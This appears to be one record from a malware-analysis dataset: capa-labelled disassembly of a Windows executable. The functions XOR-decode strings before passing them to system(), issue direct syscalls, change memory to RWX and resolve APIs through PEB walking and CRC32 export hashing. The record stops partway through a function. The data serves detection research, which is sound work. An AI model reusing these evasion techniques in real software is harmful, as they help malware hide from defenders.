joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005ee0
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
movdqa xmm0, xmmword [0x14006e800]
xor ebx, ebx
movdqa xmm1, xmmword [0x14006e7e0]
mov ecx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0x8dc7a29e
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0xc], 0x100cdc7
nop dword [rax]
lea eax, [rcx - 0x2a]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x26
jb 0x140005f20
lea rcx, [rbp - 0x30]
mov byte [rbp - 9], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x14006e7c0]
mov rcx, rbx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xba9b9089
mov dword [rbp - 0x1c], 0x88989893
mov dword [rbp - 0x18], 0xdbc2dc83
mov word [rbp - 0x14], 0x100
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x2a]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1c
jb 0x140005f80
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x13], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14006e8a0]
movdqa xmm1, xmmword [0x14006e730]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x10], 1
movdqu xmmword [rbp - 0x20], xmm1
nop dword [rax + rax]
lea eax, [rbx - 0x2a]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x1f
jb 0x140005fc0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x10], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140005ff0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x140006013
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x2a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x140006000
mov byte [rcx + 5], 0
mov rax, rcx
ret
Function at 0x140004ae0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140004b14
cmp word [rcx], 0x5a4d
jne 0x140004b14
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140004b14
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004b14
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140004a20
test eax, eax
jne 0x140004b30
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140004a90
test rax, rax
je 0x140004b25
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.1400052e2
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x1400051e0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140005180
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005644
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1406d4c98]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1406d4c94]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140005692
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000568a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140005779
inc ebx
add rax, 0x28
jmp 0x14000566a
mov rcx, r12
call fcn.140005e71
mov rbp, rax
test rax, rax
jne 0x1400056b1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400055e0
movsxd rbx, ebx
mov rax, qword [0x1406d4c98]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.140005f1f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1406d4c98]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140005713
mov rax, qword [0x1406d4c98]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400055e0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140005773
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140005773
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1406d4c98]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140005773
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400055e0
inc dword [0x1406d4c94]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140005ba0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x1406d4d00]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1406d4ce0]
test rbx, rbx
je 0x140005bec
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140005be6
test eax, eax
jne 0x140005be6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140005bbe
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140005da0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140005dc3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140005dc3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140005dc4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140005dfe
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140005df5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140005e00
inc r8d
add rax, 0x28
jmp 0x140005ddc
xor eax, eax
ret

Function at 0x140005e71
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1406c9b70]
mov r8, rcx
mov rcx, r9
call fcn.140005da0
test eax, eax
je 0x140005e9d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140005dc4
xor eax, eax
add rsp, 0x28
ret

Function at 0x1406e566b
Capabilities:
Encode data using xor

Disassembly:
ja 0x1406e5f23
xor r10w, 0xfcb2
mov qword [rsp + 0x18], 0xfffffffffcb4f7f9
mov r10, qword [rsp + r10 - 0xea75]
jns 0x1406e566b
js 0x1406e5ba0
seto sil
jo 0x1407605dc
add si, 0xde1f
seto sil
add qword [rsp + 0x10], 0xc414
call fcn.140765d2e
push r10
movabs r10, 0xb1bc4c13fd017d35
pushfq
or r10w, 0x3e08
jle 0x1406e567a
shr r10, 0xf3
call 0x1406e566b
Function at 0x1407fba7f
Capabilities:
Encode data using xor

Disassembly:
setb byte [rsp + r15 + 0xe95f]
add word [rsp + r15*4 + 0x3a4dc], 0x4597
add byte [rsp + r15 + 0xe95f], 0x11
mov r15, qword [rsp + r15*4 + 0x3a50c]
add word [rsp + 0x48], 0x7f93
test dword [rsp + 0x58], 0xbc3f723e
call fcn.1406e3e1d
Function at 0x1410ac1b1
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
cmovo r11d, r14d
xor r9b, 0xae
sub edi, edi
movzx ebx, r8b
bswap r8
not r9b
mov r11, rcx
mov r8, rdi
movsx r10w, al
mov r9w, 0xa438
movsxd r10, edi
nop
movzx r9w, r8b
movzx r9d, dx
movzx r9d, byte [r11]
mov r10b, r9b
movzx r10d, byte [rdx]
jmp 0x1410ac1fc
inc r11
jmp 0x1410ac204
inc rdx
cmc
cmp esi, 0x683c6323
test bl, bl
je 0x1410ac240
mov ecx, r8d
mov eax, 0x87b2baad
rol eax, cl
cmp r12, r14
cmp rbx, 0xffffffff932f93b8
add al, r8b
stc
xor r9b, al
jmp 0x1410ac236
inc r8
cmp r15d, esi
test r8b, spl
clc
test r9b, r9b
je 0x1410ac257
cmp r9b, r10b
jmp 0x1410ac251
je 0x1410ac1ec
cmp r9b, r10b
jae 0x1410ac283
or eax, 0xffffffff
setno bh
movzx di, r14b
movsx rbx, r9w
mov rbx, qword [rsp + 8]
movzx di, cl
mov rdi, qword [rsp + 0x10]
jmp 0x1410ac282
ret
mov rbx, qword [rsp + 8]
mov dil, 0x95
seta dil
mov eax, edi
mov rdi, qword [rsp + 0x10]
jmp 0x1410ac29b
ret
Function at 0x140013cc0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
or r9d, 0xffffffff
mov r11d, edx
xor r10d, r10d
test edx, edx
je 0x140013cf4
movzx edx, byte [r10 + rcx]
mov eax, r9d
xor rdx, rax
shr r9d, 8
movzx r8d, dl
lea rax, [0x14016e9d0]
inc r10
xor r9d, dword [rax + r8*4]
cmp r10, r11
jb 0x140013cce
not r9d
mov eax, r9d
ret

Function at 0x140016bb0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
movdqa xmm0, xmmword [0x14021dfc0]
mov rbx, rdx
xor edx, edx
mov dword [rbp - 0x18], 0x5c54085c
mov ecx, edx
mov dword [rbp - 0x14], 0x34e5846
movdqu xmmword [rbp - 0x28], xmm0
mov word [rbp - 0x10], 0x100
lea eax, [rcx + 0x15]
xor byte [rbp + rcx - 0x28], al
inc rcx
cmp rcx, 0x18
jb 0x140016be5
mov byte [rbp - 0xf], dl
lea rax, [rbp - 0x28]
or rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], dl
jne 0x140016c00
mov rdx, qword [r8 + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x140016c54
cmp qword [r8 + 0x18], 0x10
jb 0x140016c28
mov r8, qword [r8]
mov qword [rsp + 0x30], rdx
lea r9, [rbp - 0x28]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call fcn.140013970
mov rax, rbx
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
call fcn.1400109e8
int3

Function at 0x14001d200
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x28], rbx
cmp byte [rcx + 3], r8b
je 0x14001d230
mov ecx, r8d
lea eax, [rcx + 0x15]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 2
jb 0x14001d21d
mov byte [rdx + 3], r8b
xorps xmm0, xmm0
lea rax, [rdx + 2]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], r8
cmp rdx, rax
jne 0x14001d258
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r8b
jmp 0x14001d266
mov r8d, 2
mov rcx, rbx
call fcn.140024f0c
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14001d270
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x28], rbx
cmp byte [rcx + 4], r8b
je 0x14001d2a0
mov ecx, r8d
lea eax, [rcx + 0x15]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 3
jb 0x14001d28d
mov byte [rdx + 4], r8b
xorps xmm0, xmm0
lea rax, [rdx + 3]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], r8
cmp rdx, rax
jne 0x14001d2c8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r8b
jmp 0x14001d2d6
mov r8d, 3
mov rcx, rbx
call fcn.140024f0c
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14001d2e0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x28], rbx
cmp byte [rcx + 6], r8b
je 0x14001d310
mov ecx, r8d
lea eax, [rcx + 0x15]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 5
jb 0x14001d2fd
mov byte [rdx + 6], r8b
xorps xmm0, xmm0
lea rax, [rdx + 5]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], r8
cmp rdx, rax
jne 0x14001d338
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r8b
jmp 0x14001d346
mov r8d, 5
mov rcx, rbx
call fcn.140024f0c
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14001d350
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x28], rbx
cmp byte [rcx + 5], r8b
je 0x14001d380
mov ecx, r8d
lea eax, [rcx + 0x15]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 4
jb 0x14001d36d
mov byte [rdx + 5], r8b
xorps xmm0, xmm0
lea rax, [rdx + 4]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], r8
cmp rdx, rax
jne 0x14001d3a8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r8b
jmp 0x14001d3b6
mov r8d, 4
mov rcx, rbx
call fcn.140024f0c
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14003e27c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov r9, r8
mov rbx, rdx
mov rdi, rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x14003e2b7
mov edx, esi
mov eax, 0x69c9
add eax, edx
xor word [r8 + rdx*2], ax
inc rdx
cmp rdx, 4
jb 0x14003e29e
mov byte [r8 + 0xa], sil
add r8, 8
mov rdx, r9
lea rcx, [rsp + 0x28]
call fcn.140045cc4
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x14003e2d7
mov rbx, qword [rbx]
mov r8, rbx
lea rcx, [rsp + 0x28]
call fcn.140031ebc
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
lea rcx, [rsp + 0x28]
call fcn.1400109fc
mov rax, rdi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140045074
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
xor r8d, r8d
mov rdx, rcx
mov qword [rsp + 0x28], rbx
cmp byte [rcx + 7], r8b
je 0x1400450a4
mov ecx, r8d
lea eax, [rcx + 0x15]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 6
jb 0x140045091
mov byte [rdx + 7], r8b
xorps xmm0, xmm0
lea rax, [rdx + 6]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], r8
cmp rdx, rax
jne 0x1400450cc
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r8b
jmp 0x1400450da
mov r8d, 6
mov rcx, rbx
call fcn.140024f0c
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x140045e10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rcx, qword [rdx + 8]
mov rbx, rdx
mov rsi, r9
movabs rax, 0x99d722dabde58f07
mov r9, qword [rdx]
xor edi, edi
sub rcx, r9
mov r15b, r8b
imul rcx
add rdx, rcx
sar rdx, 0xa
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x140045ffb
xor r14d, r14d
cmp byte [r14 + r9 + 0x6a0], 0
je 0x140045fbe
cmp byte [0x14025f941], 0
jne 0x14004603a
test r15b, r15b
je 0x14004603a
mov rax, qword [0x14025cc80]
lea rdx, str.Delete_row_
mov rcx, qword [rax + 0x3ed0]
call fcn.14004f290
xor edx, edx
mov ecx, eax
call fcn.14005b154
test al, al
jne 0x140045eb7
lea rcx, str.Delete_row_
call fcn.14005b220
mov r8d, 0x40
lea rcx, str.Delete_row_
call fcn.14005b77c
test al, al
je 0x140045fbe
lea rcx, str.Row_will_be_deleted._nThis_operation_cannot_be_undone__n
call fcn.14007a4a8
call fcn.14007d100
and dword [rbp - 0x18], 0
lea rdx, [rbp - 0x18]
and dword [rbp - 0x14], 0
mov ecx, 0xb
call fcn.14004cfc8
lea rdx, [0x14025f942]
lea rcx, str.Dont_ask_me_next_time.
call fcn.14007c590
mov ecx, 1
call fcn.14004d054
and dword [rbp - 0xc], 0
xor ecx, ecx
mov dword [rbp - 0x10], 0x42f00000
mov dword [rbp - 0x30], 0x1005d5a
lea eax, [rcx + 0x15]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 2
jb 0x140045f29
xor r8d, r8d
mov byte [rbp - 0x2d], 0
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x30]
call fcn.14007acc0
test al, al
jne 0x140046011
movss xmm1, dword [0x14021d764]
xorps xmm0, xmm0
call fcn.14005a1c8
and dword [rbp - 0x1c], 0
xor ecx, ecx
mov dword [rbp - 0x20], 0x42f00000
mov dword [rbp - 0x28], 0x7b797756
mov dword [rbp - 0x24], 0x100767c
lea eax, [rcx + 0x15]
xor byte [rbp + rcx - 0x28], al
inc rcx
cmp rcx, 6
jb 0x140045f80
xor r8d, r8d
mov byte [rbp - 0x21], 0
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x28]
call fcn.14007acc0
test al, al
je 0x140045fb9
call fcn.14005b5c4
mov rax, qword [rbx]
mov byte [r14 + rax + 0x6a0], 0
call fcn.14005b860
mov r9, qword [rbx]
inc edi
mov rcx, qword [rbx + 8]
movabs rax, 0x99d722dabde58f07
sub rcx, r9
add r14, 0x6a8
imul rcx
add rdx, rcx
sar rdx, 0xa
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, edi
cmp rax, rdx
jb 0x140045e5f
xor al, al
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov al, byte [0x14025f942]
mov byte [0x14025f941], al
call fcn.14005b5c4
call fcn.14005b860
test rsi, rsi
je 0x14004602e
mov dword [rsi], edi
movsxd rdx, edi
imul r8, rdx, 0x6a8
jmp 0x14004604b
test rsi, rsi
je 0x140046041
mov dword [rsi], edi
movsxd rax, edi
imul r8, rax, 0x6a8
add r8, qword [rbx]
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.140046618
mov al, 1
jmp 0x140045ffd
Function at 0x14004a174
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdx, qword [rax + 0x18]
mov rdi, qword [rdx + 0x18]
mov rbx, rdi
mov rbx, qword [rbx]
cmp qword [rbx + 0x30], 0
je 0x14004a1b6
mov rcx, qword [rbx + 0x60]
mov rdx, rsi
call fcn.140866455
int3
cmp rdi, rbx
jne 0x14004a19a
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14004a1d4
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov ebp, ecx
mov rdx, qword [rax + 0x18]
mov rsi, qword [rdx + 0x18]
mov rbx, rsi
mov rbx, qword [rbx]
mov rdi, qword [rbx + 0x30]
test rdi, rdi
je 0x14004a21b
movzx edx, word [rbx + 0x58]
mov rcx, qword [rbx + 0x60]
call fcn.140013cc0
cmp eax, ebp
je 0x14004a237
cmp rsi, rbx
jne 0x14004a1fe
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rax, rdi
jmp 0x14004a222

Function at 0x14004a2c4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r14d, edx
mov rbx, rcx
test rcx, rcx
jne 0x14004a2ec
xor eax, eax
jmp 0x14004a341
movsxd rax, dword [rcx + 0x3c]
mov ebp, dword [rax + rcx + 0x88]
mov esi, dword [rbp + rcx + 0x20]
mov edi, dword [rbp + rcx + 0x24]
add rsi, rbx
add rdi, rbx
mov ecx, dword [rsi]
xor edx, edx
add rcx, rbx
mov rax, rcx
cmp byte [rcx], dl
je 0x14004a31d
inc rax
inc edx
cmp byte [rax], 0
jne 0x14004a313
call fcn.140013cc0
cmp eax, r14d
je 0x14004a331
add rsi, 4
add rdi, 2
jmp 0x14004a305
mov ecx, dword [rbp + rbx + 0x1c]
movzx edx, word [rdi]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
add rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14004bfd0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x14004c02a
mov r11b, 0x23
lea rdi, [0x1401d1e20]
movzx ebx, byte [r10]
dec rdx
inc r10
cmp bl, r11b
jne 0x14004c014
cmp rdx, 2
jb 0x14004c014
cmp byte [r10], r11b
jne 0x14004c014
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rbx
shr r9d, 8
xor r9d, dword [rdi + rcx*4]
test rdx, rdx
jne 0x14004bff2
jmp 0x14004c06b
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x14004c06b
mov r11b, 0x23
lea rdi, [0x1401d1e20]
cmp dl, r11b
jne 0x14004c04f
cmp byte [r10], r11b
jne 0x14004c04f
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rdi + rcx*4]
test dl, dl
jne 0x14004c03d
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret
Function at 0x14004f2f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140240028]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [rcx + 0xf8]
mov r8, rdx
mov qword [rsp + 0x20], rdx
mov r9, rcx
movsxd rdx, dword [rcx + 0xf0]
mov r10d, 8
mov ebx, dword [rax + rdx*4 - 4]
lea rdx, [rsp + 0x20]
not ebx
movzx eax, byte [rdx]
inc rdx
movzx ecx, bl
xor rcx, rax
shr ebx, 8
lea rax, [0x1401d1e20]
xor ebx, dword [rax + rcx*4]
sub r10, 1
jne 0x14004f32f
mov rcx, qword [r9]
not ebx
cmp dword [rcx + 0x3f18], ebx
jne 0x14004f366
lea edx, [r10 + 0xc]
mov ecx, ebx
call fcn.140060b4c
mov eax, ebx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140140c70
add rsp, 0x30
pop rbx
ret

Function at 0x14004f37c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140240028]
xor rax, rsp
mov qword [rsp + 0x28], rax
movsxd r8, dword [rcx + 0xf0]
mov r11d, 4
mov rax, qword [rcx + 0xf8]
mov r9, rcx
mov dword [rsp + 0x20], edx
mov r10d, r11d
mov ebx, dword [rax + r8*4 - 4]
lea r8, [rsp + 0x20]
not ebx
movzx eax, byte [r8]
inc r8
movzx ecx, bl
xor rcx, rax
shr ebx, 8
lea rax, [0x1401d1e20]
xor ebx, dword [rax + rcx*4]
sub r10, 1
jne 0x14004f3bb
mov rcx, qword [r9]
not ebx
cmp dword [rcx + 0x3f18], ebx
jne 0x14004f3f5
movsxd r8, edx
mov ecx, ebx
mov edx, r11d
call fcn.140060b4c
mov eax, ebx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140140c70
add rsp, 0x30
pop rbx
ret

Function at 0x14004f40c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140240028]
xor rax, rsp
mov qword [rsp + 0x10], rax
movss xmm2, dword [rcx + 0x110]
lea r9, [rsp]
movss xmm3, dword [rcx + 0x114]
mov r10d, 0x10
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
mov rax, qword [rcx + 0xf8]
subss xmm1, xmm3
movsxd rcx, dword [rcx + 0xf0]
movss dword [rsp], xmm0
movss xmm0, dword [rdx + 8]
mov r8d, dword [rax + rcx*4 - 4]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
not r8d
movss xmm1, dword [rdx + 0xc]
subss xmm1, xmm3
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
movzx ecx, byte [r9]
lea rax, [0x1401d1e20]
movzx edx, r8b
inc r9
xor rdx, rcx
shr r8d, 8
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x14004f489
not r8d
mov eax, r8d
mov rcx, qword [rsp + 0x10]
xor rcx, rsp
call fcn.140140c70
add rsp, 0x28
ret
Function at 0x14008e718
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x38
lea rbp, [r8 - 1]
mov qword [rsp + 0x20], rdx
sar rbp, 1
mov r15, r9
mov r13, r8
mov r12, rdx
mov rsi, rcx
mov r14, rdx
cmp rdx, rbp
jge 0x14008e7b0
lea rbx, [r14 + r14]
lea rax, [rbx + 2]
imul rdx, rax, 0x68
add rdx, rsi
lea r8, [rdx - 0x68]
call fcn.14008bc58
movzx eax, al
lea r14, [rbx + 1]
xor rax, 1
add r14, rax
imul rdi, r14, 0x68
imul rbx, r12, 0x68
add rdi, rsi
mov al, byte [rdi]
lea rdx, [rdi + 8]
add rbx, rsi
lea rcx, [rbx + 8]
mov byte [rbx], al
call fcn.1400115bc
lea rdx, [rdi + 0x28]
lea rcx, [rbx + 0x28]
call fcn.1400115bc
lea rdx, [rdi + 0x48]
lea rcx, [rbx + 0x48]
call fcn.1400115bc
mov r12, r14
cmp r14, rbp
jl 0x14008e749
mov rbx, r14
cmp r14, rbp
jne 0x14008e803
test r13b, 1
jne 0x14008e803
imul rdi, r13, 0x68
imul rbx, r14, 0x68
mov al, byte [rdi + rsi - 0x68]
lea rdx, [rsi - 0x60]
add rdx, rdi
add rbx, rsi
lea rcx, [rbx + 8]
mov byte [rbx], al
call fcn.1400115bc
lea rdx, [rsi - 0x40]
add rdx, rdi
lea rcx, [rbx + 0x28]
call fcn.1400115bc
lea rdx, [rsi - 0x20]
add rdx, rdi
lea rcx, [rbx + 0x48]
call fcn.1400115bc
lea rbx, [r13 - 1]
mov rbp, qword [rsp + 0x20]
